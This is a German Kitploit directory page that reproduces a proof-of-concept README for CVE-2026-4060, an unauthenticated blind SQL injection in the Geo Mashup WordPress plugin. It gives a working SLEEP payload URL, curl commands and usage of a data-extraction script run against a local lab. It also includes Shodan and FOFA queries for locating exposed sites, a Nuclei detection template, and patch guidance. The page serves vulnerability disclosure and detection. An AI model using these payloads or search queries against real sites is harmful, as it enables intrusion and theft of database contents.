Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-4060-PoC — Proof-of-concept für CVE-2026-4060: nicht authentifizierte zeitbasierte Blind-SQL-Injection im Geo Mashup WordPress-Plugin über die ORDER BY-Klausel. Enthält Exploit-Skript, Laborumgebung und Nuclei-Erkennungsvorlage. | Kitploit
Tools/GitHubGitHub/ydking0911/cve-2026-4060-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & Bildung
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Proof-of-concept für CVE-2026-4060: nicht authentifizierte zeitbasierte Blind-SQL-Injection im Geo Mashup WordPress-Plugin über die ORDER BY-Klausel. Enthält Exploit-Skript, Laborumgebung und Nuclei-Erkennungsvorlage.

Repository anzeigen
11vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 Unangemeldete SQL-Injection PoC

Severity CVSS Type Status

Unangemeldete Angreifer können beliebiges SQL in die ORDER BY-Klausel über den Parameter sort des render-map-Endpunkts von Geo Mashup einschleusen, was eine zeitbasierte Blind-Extraktion sensibler Datenbankinformationen ermöglicht.


Inhaltsverzeichnis

  • Überblick über die Schwachstelle
  • Testumgebung
  • Ausführung
  • Testergebnisse
  • Gegenmaßnahmen
  • Erkennung
  • Zeitplan
  • Referenzen

Überblick über die Schwachstelle

FeldDetail
CVECVE-2026-4060
PluginGeo Mashup von cyberhobo
Betroffen≤ 1.13.18
Behoben in1.13.19
CVSS v3.17.5 (Hoch) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWECWE-89 — Fehlerhafte Neutralisierung spezieller Elemente in SQL
Authentifizierung erforderlichKeine (unangemeldet)

Technisches Detail

Der vom render-map-Endpunkt akzeptierte Parameter sort wird ohne Bereinigung direkt an einen $wpdb->get_results()-Aufruf übergeben:

// render-map.php (vereinfacht)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

Da $sort unverändert interpoliert wird, kann ein Angreifer eine Unterabfrage in die ORDER BY-Klausel einschleusen. WordPress’ wpdb escaped einfache Anführungszeichen, daher verwendet der PoC ORD(SUBSTRING(...)) mit numerischen Vergleichen, um diese Einschränkung zu umgehen und eine zeitbasierte Blind-Extraktion durchzuführen.

Verwundbarer Endpunkt:

GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>

Testumgebung

KomponenteVersion
BetriebssystemmacOS (Darwin 25.4.0)
Docker27.x
WordPress6.8.2 (PHP 8.2, Apache)
MariaDB11.4
Geo Mashup1.13.18 (verwundbar)
Python3.x (für poc.py)
Nucleiv3.8.0

Laborarchitektur

┌─────────────────────────────────┐
│  Host (localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

Geo Mashup 1.13.18 aktiv im WordPress-Admin:

Geo Mashup 1.13.18 aktiv im WordPress-Admin


Ausführung

1. Labor starten

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh wird:

  • WordPress-6.8.2- und MariaDB-11.4-Container starten
  • Geo Mashup 1.13.18 (verwundbare Version) per WP-CLI installieren und aktivieren
  • Einen Geo-getaggten Beitrag erstellen, sodass der Karten-Endpunkt eine gültige Antwort liefert

Sobald abgeschlossen:

  • Website: http://localhost:8080
  • Admin: http://localhost:8080/wp-admin (Benutzer: admin / Passwort: admin)

2. Schwachstelle bestätigen (SLEEP-Injection)

time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

Eine Antwortverzögerung von ~8 Sekunden bestätigt die ORDER BY-SQL-Injection.

3. Daten extrahieren (PoC)

# Standard — nur extrahierte Ergebnisse ausgeben
python3 poc.py --url http://localhost:8080

# Ausführlich — jedes Payload, Antwortzeit und extrahiertes Zeichen anzeigen
python3 poc.py --url http://localhost:8080 --verbose

# Nur SQLi bestätigen, Datenextraktion überspringen
python3 poc.py --url http://localhost:8080 --confirm-only

4. Nuclei-Erkennungsvorlage ausführen

nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. Labor abbauen

docker compose down -v

Testergebnisse

Echt positiv (TP) — Verwundbares Ziel

TP-1: ORDER-BY-SLEEP(8)-Injection bestätigt

Das Einschleusen einer SLEEP(8)-Unterabfrage über den Parameter sort erzeugt eine Antwortverzögerung von ~8 Sekunden.

time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

SLEEP(8) per ORDER BY — 8,05 s Antwort

TP-2: Datenextraktion (ausführlicher Modus)

Der PoC extrahiert Daten Zeichen für Zeichen mithilfe von ORD(SUBSTRING(...))-Vergleichen: Payload senden → Antwortzeit messen → Zeichen bestätigen, wenn SLEEP ausgelöst wird.

python3 poc.py --url http://localhost:8080 --verbose

poc.py ausführlich — Payload, Timing, extrahierte Zeichen

Extrahierte Daten:

AbfrageErgebnis
VERSION()11.4.10-MariaDB
DATABASE()wordpress
USER()[email protected]

TP-3: Erkennung durch Nuclei-Vorlage

[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

Scan completed in 8.07s. 1 matches found.

Falsch positiv (FP) — Nicht verwundbares Ziel

Die Nuclei-Vorlage verwendet einen zweistufigen Ablauf, um Fehlalarme zu verhindern.

FP-1: Geo Mashup nicht installiert

Wenn readme.txt in Schritt 1 eine 404 zurückgibt, wird der Scan sofort beendet, ohne das SQL-Payload zu senden.

Scan completed in 62ms. 0 matches found.   ✅

FP-2: Gepatchte Version (≥ 1.13.19)

Versionsprüfung des Plugins über readme.txt:

readme.txt mit Stable tag: 1.13.18

Wenn compare_versions(version, '<= 1.13.18') fehlschlägt, wird Schritt 2 vollständig übersprungen.

Scan completed in 19ms. 0 matches found.   ✅

Gegenmaßnahmen

AktionDetail
AktualisierenGeo Mashup auf 1.13.19 oder neuer upgraden
VorübergehendPlugin deaktivieren, bis ein Update angewendet wird
WAFSubquery-Injection-Muster in ORDER BY-Klauseln blockieren

Patch-Commit: plugins.trac.wordpress.org/changeset/3503627


Erkennung

Nuclei-Vorlage: nuclei/CVE-2026-4060.yaml

Erkennungsablauf:

Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → confirm plugin exists + version <= 1.13.18

Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → status 200 + GeoMashup.createMap + duration >= 8s

Shodan / FOFA:

Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

Zeitplan

DatumEreignis
2026-04Schwachstelle entdeckt
2026-04An Plugin-Autor gemeldet
2026-05Geo-Mashup-1.13.19-Patch veröffentlicht
2026-05-14CVE zugewiesen und öffentlich bekannt gegeben

Referenzen

Tool herunterladen